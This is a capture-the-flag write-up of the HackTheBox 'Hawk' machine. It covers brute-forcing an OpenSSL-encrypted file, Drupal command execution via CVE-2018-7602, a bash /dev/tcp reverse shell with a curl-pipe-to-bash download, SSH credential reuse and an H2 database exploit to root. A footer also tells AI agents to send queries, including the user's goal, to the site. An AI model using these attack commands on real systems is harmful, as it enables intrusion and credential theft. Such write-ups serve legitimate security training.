> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Hawk HackTheBox Writeup

Hawk HackTheBox Medium Linux machine writeup covering OpenSSL Cipher Brute Force and Decryption, Drupal Enumeration/Exploitation, H2 Database Exploitation, with practical enumeration, exploitation, fo

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Skills:**

* OpenSSL Cipher Brute Force and Decryption
* Drupal Enumeration/Exploitation
* H2 Database Exploitation
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b476147a92ca14bd36d84dff5a47869fd3435f2%2Fimage%20(2667).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Checking VPN connection to ensure stable communication with the target machine

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9700834b012e03f10b7a368e86ddb09f46ca8e86%2Fimage%20(2668).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Exploring open ports and exporting to the "allPorts" file in the Nmap directory.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd099ddcb9ec200767f2417ef808ef3bf00b70e0%2Fimage%20(2669).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (21,22,80,5435,9092)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00e24bffedf85155668b6df65a0154452e2bf2a5%2Fimage%20(2670).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Port Version Scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44d8a7eb35aa2b7d4bceca98e8f335c99d68c987%2Fimage%20(2671).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 21 - FTP

We connect as a **anonymous** user and discover a hidden file called `.drupal.txt.enc`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16c2fe1caa300fe944a49e6148d1c18cbd47606a%2Fimage%20(2672).png?alt=media" alt=""><figcaption></figcaption></figure>

## Brute Force - Openssh (.enc)

> The **.enc** extension usually indicates a **coded** file (encrypted). It is used to mean that the content of the file has been protected by an encryption algorithm, making the data unreadable without the appropriate key or password. These files can contain any type of data (text, images, videos, etc.) and are commonly used to secure sensitive information.

The `.enc` file is encrypted with an algorithm **AES-256-CBC** and encoded in **Base64**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77572e2fba67e55b4df4c3749c2456cc145a8f52%2Fimage%20(2673).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 1: Decoding Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34740e0bc19cc11b32d0b4805f6858227ce928e8%2Fimage%20(2674).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 2: Decryption with OpenSSL**

To decipher the file, we need a password. Here is the command to attempt manual decryption:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af8cfefc7fe4531094d5fb8065e5a31c933a04fa%2Fimage%20(2675).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 3: Automation Script for brute force**

We use a Bash script to test a password list (e.g. `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Exiting.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] The password is : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Result:**

The password found is: **friends**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ec3269c4f31949021332d09000d2ec83f02df83%2Fimage%20(2676).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Decrypted message**

The decrypted file contains a new password:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

friends
```

* **PencilKeyboardScanner123**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6f128df7f5443d3f12a87a5104243cd032edf7c%2Fimage%20(2677).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

Port 80 hosts a Drupal 7 CMS.

```bash
whatweb 10.10.10.102
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62537663dc71693c66bac8de15a479a7c3066549%2Fimage%20(868).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d365f27853662c60b023ff9595df1d2a46941f95%2Fimage%20(2678).png?alt=media" alt=""><figcaption></figcaption></figure>

**Authentication - Access with Password**

Try to connect with the `PencilKeyboardScanner123` password for the user `admin` and authentication succeeds.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9854da5c1665a4a24619c6efd299e07ef3fef10f%2Fimage%20(867).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell - Drupal 7

We will use the following script to execute commands on a Drupal server of less than 7 (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

This command allows you to execute the `id` command on the server.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4a848bde5138758b3c3c5fa863c68e0a4534629%2Fimage%20(869).png?alt=media" alt=""><figcaption></figcaption></figure>

**Access to server**/ To establish access to the server, we need to listen to port 443 with `nc`

```bash
nc -nvlp 443
```

Then you create a `index.html` file with the following content to establish a shell reverse:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Web server and order execution**/ Launches an HTTP server with Python:

```bash
python3 -m http.server 80 
```

Then send the following command to download and run the script:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f08dac2514d3f2dab6115d45ef5e3f91c913119%2Fimage%20(870).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Terminal Stabilization** To manage the terminal, the following commands are used:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cca193231cfb97ec7bc00b266564e229de64e247%2Fimage%20(871).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Privilege Escalation**

By exploring the web directory at `/var/www/html`, you can see several configuration files. Among them, an interesting file is identified:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef54eec337a2942a055ea3c50d9e4a44e7797bf6%2Fimage%20(2680).png?alt=media" alt=""><figcaption></figcaption></figure>

**Chemin :** `sites/default/settings.php`

In reviewing this file, we find sensitive information:

* Username: drupal
* Password: drupal4hawk

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01aa9995a68738a29f46007af5d528bc37c638e9%2Fimage%20(2679).png?alt=media" alt=""><figcaption></figcaption></figure>

These credentials connect to the MySQL database. To do this, the following commands are used:

```bash
mysql -u drupal -p
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02e90772e84e4bd6be312096f4bb1a1c3f4a0f%2Fimage%20(2681).png?alt=media" alt=""><figcaption></figcaption></figure>

After entering the password, all available databases are listed, and then the database associated with Drupal is selected:

```sql
show databases;
use drupal;
```

Once in the database, we explore the content of the `users` table to find interesting information:

```
SELECT * FROM users;
```

In this table, we find a minced password associated with a user:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dd08f4e1b263a5ff53e6d859f6bcff925c7b0d0%2Fimage%20(2682).png?alt=media" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Brute Force John - Hash Password

Use John to break the password hash

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

However, in this particular case, no match was found in the `rockyou.txt` passwordlist.

### Escaping Python to Normal Bash

We accessed the server as a `daniel` user with a password associated with the database (in this example, **drupal4hawk**). Here is the command to connect:

```bash
ssh daniel@10.10.10.182
```

Password: **drupal4hawk**

Once connected, we are directly in a Python interpreter.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3bf511a71df9df5ad1b32cd68efd199114b4f2c%2Fimage%20(865).png?alt=media" alt=""><figcaption></figcaption></figure>

To return to a normal Bash shell, we can use Python's `os` module to execute a Bash command. Here are the steps:

1. Importer le module `os` :

   ```python
   import os
   ```
2. Run a Bash shell:

   ```python
   os.system('/bin/bash')
   ```

This will allow you to access a normal Bash shell from the Python interpreter.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-496fcd4867069cf292809d9505f05ad60cc53c65%2Fimage%20(866).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploitation H2 Database

/*/* Analysis of open ports/*/*

To begin with, we list open ports internally using the following command:

```bash
netstat -tuln
```

We identify that port **8082** is open and hosts a service. By analyzing it, we discover that it is a database CMS: **H2 Database**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f34b07f59b7875bfad272d4efe6683753221d43f%2Fimage%20(2683).png?alt=media" alt=""><figcaption></figcaption></figure>

To access this service from our machine, we perform a forwarding port with **SSH**, redirecting the internal port 8082 to port 8082 of our local machine:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5326b6f13ed64f5f0a72a40e2a5c3d5a6de8d892%2Fimage%20(2684).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port Forwarding

To access this service from our machine, we perform a forwarding port with **SSH**, redirecting the internal port 8082 to port 8082 of our local machine:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### H2 Database:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aec01f64b10b5c31cec3f7bbf9eb7141030baaf1%2Fimage%20(2685).png?alt=media" alt=""><figcaption></figcaption></figure>

We use **searchsploit** to search for known vulnerabilities associated with H2 Database:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f1b5ad6558d5f985f72320fc61bf6fd935770e1%2Fimage%20(2687).png?alt=media" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

We find an interesting feat allowing remote command execution:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672d4d7dbf52a3d3c1a6548cea9f11c5daa6e191%2Fimage%20(2686).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

The script allows us to execute commands on the target machine. By navigating the system, we recover the **flag root.txt**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99ddd22267dbb7a48d1f06ba3507b5f928e11d4f%2Fimage%20(2688).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc9fbcfbfb90bf183d39b172dac584adb3b7dc0d%2Fimage%20(2689).png?alt=media" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
